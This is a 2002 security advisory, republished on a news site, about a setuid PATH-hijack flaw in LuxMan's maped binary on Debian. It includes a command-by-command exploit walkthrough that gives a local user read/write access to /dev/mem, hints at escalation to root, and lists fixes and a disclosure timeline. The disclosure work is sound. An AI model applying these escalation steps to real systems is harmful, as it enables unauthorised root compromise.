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Home » Hacking News » iDEFENSE Security Advisory 11.06.02: Non-Explicit Path Vulnerability in LuxMan

iDEFENSE Security Advisory 11.06.02: Non-Explicit Path Vulnerability in LuxMan

by Nikola Strahija on November 7th, 2002 Frank McIngvale's LuxMan is a Linux-based game similar to Pac Man. More information about it is available at


Maped is a setuid binary that belongs to LuxMan. It executes gzip
without using the full path. A local attacker can create an
exploit binary named gzip and have maped execute it by properly
modifying the path environment variable. The following is a
sample run and explanation of an exploit that will duplicate /dev/mem
to /tmp/mem:

First, the attacker sets the current working directory into the path
environment variable:

[email protected]:~$ export | grep PATH declare -x
[email protected]:~$ declare -x
[email protected]:~$ export | grep PATH declare -x

Second, the attacker compiles the exploit as a binary named gzip and
creates a fake archive:

[email protected]:~$ cc gzip.c -o gzip
[email protected]:~$ touch test.gz

Third, the attacker executes the maped binary:

[email protected]:~$ `which maped` test.gz
You must be the owner of the current console to use svgalib.
Not running in a graphics capable console,
and unable to find one.
Using VGA driver.
svgalib 1.4.3

At this point, /dev/mem is being duplicated into /dev/tmp. The
descriptor to /dev/mem can be analyzed in a separate terminal:

[email protected]:~$ lsof | grep /dev/mem
gzip 5197 farmer 5u CHR 1,1 178294 /dev/mem

[email protected]:~$ cd /proc/5197/fd/
[email protected]:~$ ls -l
total 0
lrwx------ 1 farmer farmer 64 Oct 10 05:56 0 -> /dev/pts/1
l-wx------ 1 farmer farmer 64 Oct 10 05:56 1 -> pipe:[4991]
lrwx------ 1 farmer farmer 64 Oct 10 05:56 2 -> /dev/pts/1
lrwx------ 1 farmer farmer 64 Oct 10 05:56 3 -> /tmp/mem
lr-x------ 1 farmer farmer 64 Oct 10 05:56 4 -> /dev/zero
lrwx------ 1 farmer farmer 64 Oct 10 05:56 5 -> /dev/mem

It is clear that descriptor 5 is a read write descriptor to /dev/mem.


Any local user can launch this attack to gain read/write access to
/dev/mem. Such access can lead to local root compromise.
Exploitation is possible by scanning the file for fragments of the
master password file and modifying kernel memory to re-map
system calls.


LuxMan 0.41, which is packaged and distributed with Debian Linux
3.0r0, is vulnerable. It is probable that the same LuxMan
version is vulnerable on other platforms as well.


Customers should consider one of the two following options:

Option 1: Remove the LuxMan package by issuing the command "# apt-get
remove luxman".

Option 2: Remove the setuid bit from the maped binary by executing
the command "# chmod -s `which maped`".


The Debian Project has made available an updated LuxMan package that
fixes this vulnerability. More information should be
available in DSA-189 at .


The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
assigned the identification number CAN-2002-1245 to this


10/03/2002 Issue disclosed to iDEFENSE
10/31/2002 Maintainer, Janos Lenart ([email protected]), and
[email protected] notified
10/31/2002 iDEFENSE clients notified
11/02/2002 Responses received from [email protected] and Martin Schulze
([email protected])
11/06/2002 Public disclosure


Texonet ( discovered this vulnerability.

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- -dave

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